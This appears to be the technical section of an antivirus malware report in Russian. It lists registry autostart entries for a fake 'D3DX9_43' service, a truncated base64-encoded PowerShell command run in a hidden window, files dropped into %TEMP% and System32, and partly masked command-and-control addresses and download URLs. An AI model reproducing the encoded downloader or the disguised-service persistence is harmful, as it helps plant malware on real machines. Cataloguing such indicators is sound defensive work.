Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\D3DX9_43] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\D3DX9_43] 'ImagePath' = '"<SYSTEM32>\api-ms-win-crt-heap-l1-1-0\D3DX9_43.exe"'
- 'D3DX9_43' "<SYSTEM32>\api-ms-win-crt-heap-l1-1-0\D3DX9_43.exe"
- 'D3DX9_43' <SYSTEM32>\api-ms-win-crt-heap-l1-1-0\D3DX9_43.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAGUAZwBxAGYAZgA2AD0AKAAnAEQAbgBjAHgAYQAnACsAJwBwADQAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAHYAOgB0AEUATQBQAFwATwBmAGYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AH...
- %TEMP%\office2019\l__6h7.exe
- <SYSTEM32>\api-ms-win-crt-heap-l1-1-0\d3dx9_43.exe
- %TEMP%\office2019\l__6h7.exe в <SYSTEM32>\api-ms-win-crt-heap-l1-1-0\d3dx9_43.exe
- '13#.#19.36.33':80
- '11#.#02.234.183':8080
- '69.##.203.214':8080
- http://fr##tel.com/images/6/
- http://69.##.203.214:8080/rRu8ZQf/X7lSazZ2/Pb2NYvQvXfthmB0RMz/lH8OPyux94yzlhM/ via 69.##.203.214
- DNS ASK fr##tel.com
- '%TEMP%\office2019\l__6h7.exe'
- '<SYSTEM32>\api-ms-win-crt-heap-l1-1-0\d3dx9_43.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAGUAZwBxAGYAZgA2AD0AKAAnAEQAbgBjAHgAYQAnACsAJwBwADQAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAHYAOgB0AEUATQBQAFwATwBmAGYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AH...' (со скрытым окном)